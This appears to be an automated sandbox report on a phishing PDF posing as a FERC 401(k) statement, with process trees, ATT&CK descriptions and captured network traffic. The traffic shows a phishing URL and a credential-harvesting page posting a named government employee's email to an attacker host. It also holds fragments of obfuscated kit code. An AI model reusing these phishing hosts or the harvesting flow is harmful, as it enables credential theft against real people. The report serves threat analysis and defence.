2025-01-30 18:26:47 UTC	8184	IN	Data Raw: 63 6f 6c 2d 78 6c 2d 27 2c 27 2d 64 61 72 6b 3a 6e 6f 74 28 27 2c 27 78 29 5c 78 32 30 7b 5c 78 32 30 2e 63 6f 6c 2d 27 2c 27 62 4f 62 69 6e 27 2c 27 70 6f 72 74 61 6e 74 5c 78 32 30 7d 5c 78 32 30 27 2c 27 72 3a 5c 78 32 30 23 66 66 63 31 30 37 27 2c 27 6f 72 65 5c 78 32 30 7b 5c 78 32 30 62 61 63 6b 27 2c 27 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 6c 65 3a 66 6f 63 75 73 5c 78 32 30 7b 27 2c 27 6d 2d 38 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 27 2c 27 2e 63 61 72 64 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 5c 78 32 30 23 62 64 32 31 33 30 5c 78 32 30 7d 27 2c 27 6a 66 54 6e 67 27 2c 27 78 6c 2d 31 30 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 63 6f 6e 64 61 72 79 3a 6e 6f 27 2c 27 2d 61 6c 69 67 6e 3a 5c 78 32 30 63 65 27 2c 27 Data Ascii: col-xl-','-dark:not(','x)\x20{\x20.col-','bObin','portant\x20}\x20','r:\x20#ffc107','ore\x20{\x20back','r:\x205\x20}\x20.or','le:focus\x20{','m-8\x20{\x20-web','.card\x20{\x20-w','\x20#bd2130\x20}','jfTng','xl-10\x20{\x20-w','condary:no','-align:\x20ce','
2025-01-30 18:26:47 UTC	16384	IN	Data Raw: 2e 32 35 72 65 6d 5c 78 32 30 27 2c 27 67 2d 33 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 74 6f 6d 3a 5c 78 32 30 30 3b 5c 78 32 30 77 69 27 2c 27 6f 66 66 73 65 74 2d 38 5c 78 32 30 7b 27 2c 27 62 6f 72 64 65 72 65 64 5c 78 32 30 74 27 2c 27 6d 65 74 68 6f 64 73 5c 78 32 30 63 75 27 2c 27 5c 78 32 30 2e 73 68 6f 77 3e 2e 62 74 27 2c 27 75 63 63 65 73 73 3a 68 6f 76 27 2c 27 31 30 30 30 70 78 3b 5c 78 32 30 70 65 27 2c 27 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 27 2c 27 64 6f 77 6e 2c 5c 78 32 30 2e 64 72 6f 27 2c 27 3c 64 69 76 3e 5c 78 32 30 3c 64 69 76 27 2c 27 69 74 65 6d 2d 64 61 72 6b 5c 78 32 30 27 2c 27 72 5c 78 32 30 7b 5c 78 32 30 62 6f 78 2d 73 69 27 2c 27 32 70 78 5c 78 32 30 73 6f 6c 69 64 5c 78 32 30 27 2c 27 65 71 75 65 73 74 Data Ascii: .25rem\x20','g-3\x20{\x20padd','tom:\x200;\x20wi','offset-8\x20{','bordered\x20t','methods\x20cu','\x20.show>.bt','uccess:hov','1000px;\x20pe','3333%\x20}\x20.o','down,\x20.dro','<div>\x20<div','item-dark\x20','r\x20{\x20box-si','2px\x20solid\x20','equest

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50085	69.49.246.64	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:47 UTC	368	OUT	GET /next.php HTTP/1.1 Host: 782137365.federalhostingservices.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:47 UTC	150	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:47 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50087	69.49.246.64	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:50 UTC	730	OUT	POST /next.php HTTP/1.1 Host: 782137365.federalhostingservices.com Connection: keep-alive Content-Length: 40 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://office.docmanagementsystem.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:50 UTC	40	OUT	Data Raw: 64 6f 3d 63 68 65 63 6b 26 65 6d 61 69 6c 3d 73 63 6f 74 69 61 6e 61 2e 62 65 6e 6e 65 74 74 40 66 65 72 63 2e 67 6f 76 Data Ascii: do=check&email=scotiana.bennett@ferc.gov
2025-01-30 18:26:51 UTC	299	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:50 GMT Server: Apache Access-Control-Allow-Origin: https://office.docmanagementsystem.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-30 18:26:51 UTC	100	IN	Data Raw: 35 39 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 62 61 6e 6e 65 72 22 3a 6e 75 6c 6c 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 6e 75 6c 6c 2c 22 66 65 64 65 72 61 74 69 6f 6e 4c 6f 67 69 6e 22 3a 22 22 2c 22 74 79 70 65 22 3a 22 6f 66 66 69 63 65 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 59{"status":"success","banner":null,"background":null,"federationLogin":"","type":"office"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50086	2.23.209.34	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:50 UTC	669	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://office.docmanagementsystem.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:50 UTC	613	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=30238088 Date: Thu, 30 Jan 2025 18:26:50 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.62d53e17.1738261610.248aa6ec
2025-01-30 18:26:50 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	50091	2.23.209.34	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:51 UTC	419	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:51 UTC	613	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: DhdidjYrlCeaRJJRG/y9mA== Last-Modified: Wed, 15 Jan 2025 17:54:26 GMT ETag: "0x8DD358DA72AAF33" x-ms-request-id: 6e02de99-801e-004d-5976-674e8b000000 x-ms-version: 2018-03-28 Access-Control-Expose-Headers: Accept-Ranges,Cache-Control,Content-Encoding,Content-Length,Content-MD5,Content-Type,Date,ETag,Last-Modified,Server,x-ms-request-id,x-ms-version Access-Control-Allow-Origin: * Cache-Control: public, max-age=30238087 Date: Thu, 30 Jan 2025 18:26:51 GMT Content-Length: 1864 Connection: close Akamai-GRN: 0.62d53e17.1738261611.248aa9ed
2025-01-30 18:26:51 UTC	1864	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 34 30 31 2e 36 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50093	69.49.246.64	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:51 UTC	368	OUT	GET /next.php HTTP/1.1 Host: 782137365.federalhostingservices.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:51 UTC	150	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:51 GMT Server: Apache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	13:24:04
Start date:	30/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Ferc Q1 2025 401(k) Statement-5997707969.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:24:05
Start date:	30/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:24:05
Start date:	30/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1676,i,11162465224118041367,2337748532442546483,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:24:07
Start date:	30/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://876rfyguyt7ygty.401kstatementmorganstanley.workers.dev/6ea3c94f2192f278e29958b23fb7aa43/MFRVQscotiana.bennett@ferc.gov
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:24:10
Start date:	30/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2028,i,4291712580894038494,18141104973775951258,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Tra

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ferc Q1 2025 401(k) Statement-5997707969.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47d325ed-2220-4003-9a13-4fd472b6036f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6b97d6f4-b894-4a8d-bfd0-8ce0e6126676.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF59af1b.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250130182411Z-189.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Windows Analysis Report
Ferc Q1 2025 401(k) Statement-5997707969.pdf